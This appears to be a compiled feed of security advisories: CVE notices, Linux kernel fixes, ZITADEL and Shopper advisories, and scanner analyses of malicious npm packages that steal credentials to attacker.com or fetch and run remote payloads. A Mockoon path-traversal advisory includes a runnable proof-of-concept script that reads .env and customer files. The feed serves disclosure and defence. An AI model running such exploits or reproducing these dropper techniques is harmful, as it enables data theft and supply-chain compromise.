Search: h-w-g.com

To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle

A vulnerability was determined in Xuxueli xxl-job up to 3.4.2. This affects the function GroovyClassLoader.parseClass of the file xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java. This manipulation causes code injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was found in Xuxueli xxl-job up to 3.4.2. Affected by this issue is some unknown functionality of the file xxl-job-admin/src/main/java/com/xxl/job/admin/business/controller/JobGroupController.java. The manipulation results in improper privilege management. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

A user reports suspicious activity on multiple Apple devices, including an iPhone scan with the mvt-ios tool detecting a file named 'com.apple.photolibraryd.plist' flagged as associated with the 'Coruna' spyware. The user describes unusual device behavior, interference with evidence capture, and inconsistent analysis results from different tools and helpers. Additional anomalies include hardware issues on a refurbished MacBook, a malicious script detected during a Proton VPN installation attempt, and network device malfunctions. The mvt-ios detection is based on a file name matching known indicators, but the user questions the definitiveness of this finding given the file name matches a legitimate Apple file. No official vendor advisory or patch information is provided.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (dd840e550f39e1f29f7a50b0cd121c3fa5e78e99954f22009f03b5ac775f91ec) greensaver@1.2.3 declares a postinstall script ("node lib/greensaver.js") that runs automatically on `npm install`. The script decodes two files masquerading as TypeScript sourcemaps (lib/parse.ts.map and lib/init.ts.map) from base64 into sibling JavaScript files (lib/parsetmp.js and lib/config.js), requires the loader, and then unlinks all four files to erase evidence. The loader fetches an AES-CBC-encrypted blob from https://www.jsonkeeper.com/b/V6NBX (an anonymous JSON paste host), decrypts it with the hardcoded password 'myPassword123', and passes the resulting plaintext directly to eval(). The endpoint URL and auth header values are additionally base64-wrapped for a second obfuscation layer. The remainder of the package (scan.js, parse.js, constants.js, utils.js, and the exported makeRe/scan/parse API) is a rename of the picomatch glob-matcher library, providing a cover story for the dropper. The package name and 'Blazing fast and accurate glob matcher' description resemble picomatch.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ddd83408820ca65c51cea223a061260109332ba408ca3a43ba00ef827f1ad74f) preinstall.js and postinstall.js execute automatically on npm install. preinstall.js reads.env files from the current and parent directories, walks the working directory and home directory for files matching *.key, *.pem, id_rsa, id_ed25519, wallet.json, keystore.json, and mnemonic.txt, collects process.env values whose keys match credential-shaped patterns (KEY, SECRET, TOKEN, PASSWORD, AWS, PRIVATE, MONGO, JWT), and POSTs the aggregated JSON payload via https.request to https://attacker.com/collect. postinstall.js additionally captures hostname, user, uid/gid, cloud/container context (Docker, Kubernetes, AWS, GCP, Azure), and reads file contents from /root, /home, and /opt matching key/pem/mnemonic/wallet/keystore/secret, then POSTs to https://attacker.com/exfiltrate. A source comment states "Stealth: masquerade as legitimate operation" while a benign-looking "[@cr-bot/common] Checking environment..." message is printed and network errors are silently swallowed.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (55b5bacf5779f1a1fa161ee38acbf61fda0dc18b3d0fe35213e2b0dc230c06e4) The package's preinstall hook runs `node index.js`, which collects host identifiers (os.hostname, os.userInfo, homedir, DNS servers, cwd) along with the contents of /etc/passwd and /etc/hosts, and POSTs the payload over HTTPS to the Burp Collaborator subdomain c6j5cmm8sia88v4zyhykqvhvcmid65uu.oastify.com. The package has empty description/author metadata and no legitimate functionality beyond this beacon. The exfiltration fires automatically on `npm install` before any consumer code runs.

### Summary A flaw in the external identity provider handler allows unauthorized account linking to occur under specific administrative configurations. When auto-linking by email is enabled, ZITADEL checks that the local user's email is verified, but does not explicitly cross-check whether the incoming external identity provider (IdP) also verified that email address upstream. ### Impact When a user logs in via an external identity provider, the system can automatically link them to an existing local account if their email addresses match. However, because the system fails to check if the external provider actually verified ownership of that email, a security risk is introduced if a loose or public provider is connected. If an administrator enables email auto-linking for an external identity provider that allows anyone to sign up with an unverified email address, an attacker can exploit this behavior. By registering an account on that permissive provider using a victim's email address and logging in, the system will automatically link the attacker's federated identity to the victim's legitimate local account. This allows the attacker to log into the victim's account without requiring any interaction or confirmation from the victim. This issue represents a configuration-dependent anomaly rather than an unconditioned attack vector. Because the scenario relies entirely on an explicit administrative choice to trust a permissive external directory and link accounts automatically based purely on email strings, the practical operational risk is classified as **Medium**. ### Affected Versions Systems running one of the following versions are affected: * **4.x:** `4.0.0` through `4.15.2` (including RC versions) * **3.x:** `3.0.0` through `3.4.12` (including RC versions) ### Patches The vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring that the external identity provider's email verification status is explicitly validated before allowing any automatic linking logic to proceed. * **4.x**: Upgrade to $\ge$ [4.15.3](https://github.com/zitadel/zitadel/releases/tag/v4.15.3) * **3.x**: Upgrade to $\ge$ [4.15.3](https://github.com/zitadel/zitadel/releases/tag/v4.15.3) ### Workarounds If an immediate upgrade is not possible, implement one of the following mitigations: * Disable auto-linking by email entirely by setting the option to `AUTO_LINKING_OPTION_UNSPECIFIED` on corresponding identity providers. * Audit external IdP configurations and restrict email auto-linking strictly to trusted enterprise identity directories (e.g., corporate Okta or Azure AD) where email verification is strictly enforced and managed by corporate policy. ### Questions If you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com) ### Credits Thanks to [Android-Login-Analysis](https://github.com/Android-Login-Analysis) and [Alejandro Yadlin](https://github.com/ayadlin) for reporting this vulnerability.

## Summary Mockoon's admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var — searched the repo, returns zero hits). Any unauthenticated caller who can reach the mock server's port (default `0.0.0.0:3000`) can: - Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper). - **Write arbitrary process env vars (no prefix check on the WRITE path)** — poison operator's `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, …, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes. - **Rewrite every mock route's body / status / headers in-runtime** via `PUT /mockoon-admin/environment` — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc. - Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear). - Read/write global template vars; purge state / data buckets / logs. Because of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked. --- ## Details ### Root cause `packages/commons-server/src/libs/server/server.ts:127`: ```ts private options: ServerOptions = { ..., enableAdminApi: true, // ← default on }; ``` `packages/cli/src/commands/start.ts:200`: ```ts enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed ``` `packages/serverless/src/libs/serverless.ts:21`: ```ts enableAdminApi: true, // ← default on, no flag to disable in the constructor ``` `packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint): ```ts app.use(`${adminApiPrefix}*`, (req, res, next) => { res.setHeaders( new Headers({ 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With' }) ); next(); }); ``` `packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE): ```ts const setEnvVarHandler = (req, res) => { try { const { key, value } = req.body; if (key !== undefined && value !== undefined) { process.env[key] = value; // ← any process env, any value res.send({ message: `Environment variable '${key}' has been set to '${value}'` }); } else { throw new Error('Key or value missing from request'); } } catch (_error) { res.status(400).send({ message: 'Invalid request' }); } }; ``` `packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful — runtime mock rewrite): ```ts app.put(`${adminApiPrefix}/environment`, (req, res) => { try { const environment: Environment = EnvironmentSchema.validate(req.body).value; if (!environment) { res.status(400).send({ message: 'Invalid environment format' }); return; } updateEnvironment(environment); // ← runtime mutation of every route response res.send({ message: 'Environment updated' }); } catch (_error) { res.status(400).send({ message: 'Invalid environment format' }); } }); ``` Default `hostname: ''` (`packages/commons/src/constants/environment-schema.constants.ts:33`) → Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `'0.0.0.0'`. --- ## PoC ### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`) `npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar 'MOCKOON_API_KEY'}}`. Start with: ``` MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file ``` Bind confirmed via `lsof`: ``` COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP *:3100 (LISTEN) <-- all interfaces ``` Baseline mock response: ``` $ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"} ``` #### 1) Read operator secret unauth

## Summary A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory. ## Details `packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check: ```ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath); if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`); } ``` With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`. `filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`). ## PoC ```sh cat > /tmp/poc.sh <<'POC' set -e mkdir -p /work/public /work/public_backup && cd /work echo 'public landing page' > public/index.txt echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv cat > env.json <<'JSON' {"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[], "routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download", "responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[], "bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR", "disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}], "responseMode":null,"streamingMode":null,"streamingInterval":0}], "rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}], "proxyMode":false,"proxyHost":"","proxyRemovePrefix":false, "tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""}, "cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]} JSON npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[*] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env")); console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv")); })();' POC docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh ``` Output: ```text [*] intended file (public/index.txt) : public landing page [+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted [+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741 ``` `../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`

### Summary A token lifecycle validation vulnerability was discovered in ZITADEL's external JWT Identity Provider (IdP) implementation Specifically, within the validation pipeline, if an incoming JWT omits the `exp` claim entirely, the expiration block is silently skipped rather than rejected. The token is treated as valid forever. Per the OIDC Core 1.0 specification, identity token validation pipelines must strictly handle and enforce session expiration. ZITADEL's silent acceptance of tokens missing these temporal constraints compromises session integrity. ### Impact An attacker in possession of a token lacking an `exp` claim holds a permanent credential with no automatic expiration or revocation window. ### Affected Versions Systems running one of the following versions are affected: * **4.x**: `4.0.0` through `4.15.1` (including RC versions) * **3.x**: `3.0.0` through `3.4.11` (including RC versions) ### Patches The vulnerability has been addressed in the latest releases. ZITADEL now explicitly rejects tokens that lack an `exp` claim. * **4.x**: Upgrade to $\ge$ [4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2) * **3.x**: Upgrade to $\ge$ [3.4.12](https://github.com/zitadel/zitadel/releases/tag/v3.4.12) ### Workarounds The recommended solution is to update ZITADEL to a patched version. If an immediate upgrade is not feasible, ensure at the upstream Identity Provider level that an external IdP explicitly includes the `exp` claim in all signed JWTs. ### Publication Note This issue was originally disclosed as part of a unified security bulletin published under [GHSA-wxg7-w2v3-w38g](https://github.com/zitadel/zitadel/security/advisories/GHSA-wxg7-w2v3-w38g). To satisfy CVE Numbering Authority regulations regarding independently fixable logic flaws, the missing token expiration validation (`exp`) has been moved into this separate tracking entry so a distinct CVE ID can be correctly mapped to it. ### Questions If there are any questions or comments about this advisory, send an email to [security@zitadel.com](mailto:security@zitadel.com) ### Credits ZITADEL thanks [Android-Login-Analysis](https://github.com/Android-Login-Analysis), Jason Zhou and [Pedro Giglioti](https://github.com/Punisher100) for reporting this vulnerability.

In the Linux kernel, the following vulnerability has been resolved: ALSA: bcd2000: clear the URB pointers on disconnect bcd2000_free_usb_related_resources() frees both URBs and leaves the pointers behind: usb_kill_urb(bcd2k->midi_out_urb); usb_kill_urb(bcd2k->midi_in_urb); usb_free_urb(bcd2k->midi_out_urb); usb_free_urb(bcd2k->midi_in_urb); The rawmidi device outlives that call. A substream that is still open when the device is unplugged reaches bcd2000_midi_send() from the trigger path on close. That function writes to the freed URB and then hands it to the USB core: bcd2k->midi_out_urb->transfer_buffer_length = BUFSIZE; ... ret = usb_submit_urb(bcd2k->midi_out_urb, GFP_ATOMIC); usb_kill_urb() does not stop a later submission either, so a submit that races the disconnect can requeue the URB after it has been reaped. midi_in_urb is exposed the same way: bcd2000_input_complete() resubmits it from the completion handler. KASAN on 7.2.0-rc5 (arm64): BUG: KASAN: slab-use-after-free in bcd2000_midi_send [snd_bcd2000] Write of size 4 at addr ffff00001827d388 by task bpoc/168 __asan_store4 bcd2000_midi_send [snd_bcd2000] bcd2000_midi_output_trigger [snd_bcd2000] snd_rawmidi_kernel_write1 close_substream.part.0 Freed by task 168: usb_free_urb bcd2000_disconnect [snd_bcd2000] BUG: KASAN: slab-use-after-free in usb_submit_urb Read of size 8 at addr ffff00001827d3b8 by task bpoc/168 Clear both pointers after freeing and test them on the paths that can still run. Poison the URBs before freeing them: usb_poison_urb() waits for a running completion handler and rejects any later submission, so after it returns the input path is quiesced and only the rawmidi trigger path can still reach bcd2000_midi_send(). No unpoison is needed; the URBs are freed on the next line. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com>

A reflected cross-site scripting (XSS) vulnerability in the p.rfihub.com component of Zeta Marketing Platform (ZMP) v1.0 allows attackers to execute arbitrary Javascript in the context of the victim's browser via injecting a crafted URL into the ca parameter.

## Summary Three Livewire admin components in `shopper/framework` (latest master at commit `fcd0c59`, released as v2.8.0) gate state-mutating actions on the read-only `view_users` permission. This is the same class as the issue Shopper fixed in v2.8.0 / PR #511 / [GHSA-f946-9qp6-vgch](https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch) — the PR moved most write actions from `view_users` to `access_setting`, but three were missed (one of them is a brand-new file added by the security commit itself). A staff user holding only `view_users` + `access_dashboard` (a realistic "support" or "viewer" role per Shopper's own `PermissionsTableSeeder`) can: (1) self-escalate by granting any permission to their own role; (2) create a brand-new admin team member with a chosen password and the `admin` role and then log in as that user; (3) delete arbitrary `permissions` rows (RBAC DoS) or — when `can_be_removed=true` — delete entire roles. CVSS 3.1: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = 8.8 (High). CWE-285 (Improper Authorization) + CWE-862 (Missing Authorization). ## Vulnerable components (paths relative to repo root) ### 1) `packages/admin/src/Livewire/Components/Settings/Team/Permissions.php` - `togglePermission(int $id)` at line 28 calls `$this->authorize('view_users');` - `removePermission(int $id)` at line 55 calls `$this->authorize('view_users');` The Permissions blade at `packages/admin/resources/views/livewire/components/settings/team/permissions.blade.php` line 34 emits every permission's `id` directly in `wire:click` handlers, so the attacker does not even need to guess IDs — the page itself enumerates them. Net effect: any user who can mount the Permissions component (gated on `view_users`) can grant any permission row to the bound `$role`. Granting `access_setting` to the attacker's own role unlocks every action that PR #511 supposedly hardened with `->authorize('access_setting')`. Granting `delete_customers`, `edit_orders`, `edit_products`, `add_brands`, etc. is direct data-modification escalation. ### 2) `packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php` - `mount()` at line 53 calls `$this->authorize('view_users');` - `store()` at line 122 calls `$this->authorize('view_users');` This file is `new file mode 100755` in commit `fcd0c59` — it was created as part of the security fix and inherited the same misclassified gate. `store()` creates a `User` with `email_verified_at = now()`, the attacker's chosen password, and any selected `role_id`. The `Radio::make('role_id')` options filter only excludes `config('shopper.admin.roles.user')`, so the `admin` role is selectable. Log out, log in as the new account → full admin. ### 3) `packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php` - `deleteAction` at lines 81-90: only gated by `->visible($this->role->can_be_removed)`, with no `->authorize()` chain. Page-level `mount` (line 52) requires only `view_users`. For any role with `can_be_removed = true`, a `view_users`-only user can call the action and delete the role (cascading the loss of permissions for every assigned user). ## Self-confirmation in the project's own test suite The following tests are green on master @ `fcd0c59` — they ARE the PoC: ``` tests/Admin/Livewire/Components/Settings/Team/PermissionsTest.php line 14-16: `givePermissionTo('view_users')` only line 36-45: "can toggle permission to role" — passes line 74-85: "can remove permission" — passes tests/Admin/Livewire/SlideOvers/CreateTeamMemberTest.php line 16-18: `givePermissionTo('view_users')` only line 29-56: "can create new team member" — passes, asserts the new user `hasRole('manager')` ``` A `view_users`-only Livewire user actor successfully toggles permissions, removes permissions, and creates a new privileged user — verified by Shopper's own regression tests. ## Suggested fix Change `$this->authorize('view_users')` to `$this->authorize('access_setting')` in: - `Permissions::togglePermission` - `Permissions::removePermission` - `Permissions::mount` (defence in depth, matches `Team\Index`) - `CreateTeamMember::mount` - `CreateTeamMember::store` Add `->authorize('access_setting')` to `RolePermission::deleteAction` (matches the pattern already applied to `generatePermissionsAction`, `createPermissionAction`, and `Team\Index::DeleteAction`). Update the two regression tests to use `access_setting` instead of `view_users` so they accurately reflect the privilege boundary. ## Resources - Prior advisory of the same class: https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch - Fix commit that introduced these residual gaps: https://github.com/shopperlabs/shopper/commit/fcd0c5920588702df5b874f432b1042abd77a50b - CWE-285 Improper Authorization - CWE-862 Missing Authorization ### Credits Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent ### Support If this disclosure was useful and if users would like to support continued o

In the Linux kernel, the following vulnerability has been resolved: ALSA: FCP: do not copy out an uninitialised init response fcp_ioctl_init() allocates its response buffer with kmalloc() and copies the whole buffer back to userspace: buf_size = init.step0_resp_size + init.step2_resp_size; void *resp __free(kfree) = kmalloc(buf_size, GFP_KERNEL); ... if (copy_to_user(arg->resp, resp, buf_size)) return -EFAULT; Nothing clears the buffer, and the only writer of its leading step0_resp_size bytes is the step-0 control transfer: err = snd_usb_ctl_msg(dev, usb_rcvctrlpipe(dev, 0), FCP_USB_REQ_STEP0, USB_RECIP_INTERFACE | USB_TYPE_CLASS | USB_DIR_IN, 0, private->bInterfaceNumber, step0_resp, private->step0_resp_size); if (err < 0) return err; usb_fill_control_urb() does not set URB_SHORT_NOT_OK, so a short or zero-length data stage completes with status 0 and snd_usb_ctl_msg() returns a small actual_length. The only check is err < 0, so a short transfer is accepted as success. snd_usb_ctl_msg() copies the full size back unconditionally: buf = kmemdup(data, size, GFP_KERNEL); ... memcpy(data, buf, size); Bytes the device never wrote are therefore restored into resp unchanged and copied to userspace. step0_resp_size and step2_resp_size are each validated only to 1..255, so the caller also picks the slab cache, from kmalloc-8 up to kmalloc-512. On 7.2.0-rc5 (arm64), device answering step 0 with a zero-length data stage, s0 = s2 = 255: # init_on_alloc off, no spray step0 window [0,255): nonzero=94/255 000: 00 80 60 06 00 00 ff ff 18 00 00 00 57 01 ea 01 010: 08 78 22 13 00 00 ff ff a8 c4 5f 80 00 80 ff ff # same kernel, kmalloc-512 pre-seeded with an 8-byte tag step0 window [0,255): nonzero=219/255 tagbytes=232 # identical run, init_on_alloc=1 step0 window [0,255): nonzero=0/255 tagbytes=0 # all three runs step2 window [255,510): device words matched=62/62 a8 c4 5f 80 00 80 ff ff is the little-endian kernel text address ffff8000805fc4a8. The step-2 window is unaffected, so the disclosure is exactly the step-0 region. Zero the buffer, and require the step-0 transfer to deliver the full step0_resp_size bytes so a short data stage is reported as an error. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com>

In the Linux kernel, the following vulnerability has been resolved: ALSA: 6fire: bound the MIDI event length from the device usb6fire_comm_receiver_handler() forwards a MIDI event using a length byte the device supplies, with no bound and no check that the transfer delivered that many bytes: if (!urb->status) { if (rt->receiver_buffer[0] == 0x10) /* midi in event */ if (midi_rt) midi_rt->in_received(midi_rt, rt->receiver_buffer + 2, rt->receiver_buffer[1]); } receiver_buffer is a 64-byte kzalloc() buffer (COMM_RECEIVER_BUFSIZE), so only 62 bytes follow the two-byte header. receiver_buffer[1] is a u8 the device chooses, so a device that answers with 0x10 and a length of 0xFF makes snd_rawmidi_receive() read 255 bytes starting two bytes into a 64-byte object. The bytes past the buffer are handed to userspace through the rawmidi read path. urb->actual_length is not consulted either, so a short transfer leaves both the type byte and the length byte at their previous values and the handler acts on stale data. The receiver URB is submitted from usb6fire_comm_init() at probe, so the read happens on plug with no user action; forwarding to userspace also needs a MIDI input substream open, since usb6fire_midi_in_received() only calls snd_rawmidi_receive() when rt->in is set. KASAN on 7.2.0-rc5 (arm64), single packet from an emulated device: BUG: KASAN: slab-out-of-bounds in snd_rawmidi_receive Read of size 255 at addr ffff000009f64682 by task bash/183 __asan_memcpy snd_rawmidi_receive usb6fire_midi_in_received [snd_usb_6fire] usb6fire_comm_receiver_handler [snd_usb_6fire] Allocated by task 11: usb6fire_comm_init [snd_usb_6fire] usb6fire_chip_probe [snd_usb_6fire] The buggy address is located 2 bytes inside of allocated 64-byte region [ffff000009f64680, ffff000009f646c0) Reject the event when the length exceeds the bytes that follow the header, and require the transfer to have delivered the header plus that many bytes. The receiver URB is submitted with a 64-byte transfer_buffer_length, so a genuine device cannot deliver an event longer than those 62 bytes and nothing valid is dropped. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com>

In the Linux kernel, the following vulnerability has been resolved: s390/cpum_cf: Handle CPU hotplug via prepare/dead callbacks The command 'perf stat -e cycles -- <command>' crashes the kernel when CPUs are hotplug added during that run. Root cause is the allocation of struct cpu_cf_events at first event initialization. The allocation is dynamic and the first event that has task context creates such a structure for each online CPU. This is not sufficient. CPUs may be offline during event creation and can be set online during the perf run time. For example commands # echo 0 > /sys/devices/system/cpu/cpu1/online # perf stat -e cycles -i -- stress-ng -t10s --matrix X # sleep 1 # echo 1 > /sys/devices/system/cpu/cpu1/online create an event for CPUs 0,2-X. Since the events are created with task-context, the scheduler will eventually schedule the program on CPU1. This CPU has not created and initialized any per CPU event infrastructure as that CPU was not online at the time of the perf invocation. Thus when the scheduler runs stress-ng on CPU1, the function cpumf_pmu_add() refers to a NULL pointer: struct cpu_cf_events *cpuhw = this_cpu_cfhw(); This function call is invoked after the task stress-ng has been made runnable on CPU1. And this_cpu_cfhw() returns NULL. The result is a panic: Unable to handle kernel pointer dereference in virtual kernel address space Failing address: 0000000000000000 TEID: 0000000000000483 .... Krnl PSW : 0404d00180000000 000003ef8291fd0c (cpumf_pmu_add+0x3c/0x80) .... Call Trace: [<000003ef8291fd0c>] cpumf_pmu_add+0x3c/0x80 [<000003ef82bb5e3e>] event_sched_in+0xae/0x190 [<000003ef82bb60d6>] merge_sched_in+0x1b6/0x390 [<000003ef82bb65b8>] visit_groups_merge.constprop.0.isra.0+0x308/0x5b0 [<000003ef82bb689a>] pmu_groups_sched_in+0x3a/0x50 [<000003ef82bb6a30>] ctx_sched_in+0x180/0x260 [<000003ef82bb780c>] perf_event_context_sched_in+0x11c/0x2d0 [<000003ef82bb79ee>] __perf_event_task_sched_in+0x2e/0xc0 [<000003ef82994834>] finish_task_switch.isra.0+0x1a4/0x250 .... Last Breaking-Event-Address: [<000003ef8291f1d8>] this_cpu_cfhw+0x38/0x40 The issue arises only in per-task context when the CPUMF facility is used and the scheduler picks a random CPU for such a process to run on. The scheduler enables the CPUMF infrastructure via PMU callback functions pmu::add() and pmu::del(). Introduce a CPU hotplug prepare/dead callback pair which creates and removes the per CPU counter data while the CPU is offline. Count the users which track every CPU (cpu == -1), that is perf_event_open() events with task context and /dev/hwctr device sessions, in the new counter cpu_cf_root::tskcnt, protected by pmc_reserve_mutex. This ensures the infrastructure is available when new CPU is selected to run the per-task context process. In cpum_cf_free_root() and cpum_cf_free_cpu() ensure the reference pointer to data structures is set to NULL before the data is freed to prevent interrupt handlers to access stale data. [gor@linux.ibm.com: change commit message]

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cccb2aed2f968e146b433d2a2600f17104f0dcacfd951190771f8e59aee3a252) tailwind-form-kit@0.6.4 impersonates @tailwindcss/forms (package.json sets repository to https://github.com/tailwindlabs/tailwindcss-forms) but src/index.js is a heavily obfuscated single-line loader (obfuscator.io string-array shape, all identifiers _0xNNNN). On require() — as would happen when the package is referenced from tailwind.config — the loader opens HTTP/HTTPS to Ethereum public RPCs (publicnode, drpc.org/eth, blockscout) and an Etherscan-like indexer at *stapi.io, queries a hardcoded sender address 0xa322E5f39aDC2490EfD311D3080e6f0121063e1a via eth_blockNumber / eth_getBlockByNumber / eth_getTransactionCount, extracts a base64/gzip/deflate/br-encoded payload from an x-payload-B64 header or transaction data, and invokes child_process.spawn('node',...) on the retrieved bytes. This is the EtherHiding fetch-and-exec pattern: the on-chain address acts as a mutable C2 pointer, and any developer or build machine that requires this package runs whatever code the attacker currently points it at. A CSS forms plugin has no legitimate reason to talk to Ethereum RPCs or spawn node on fetched bytes.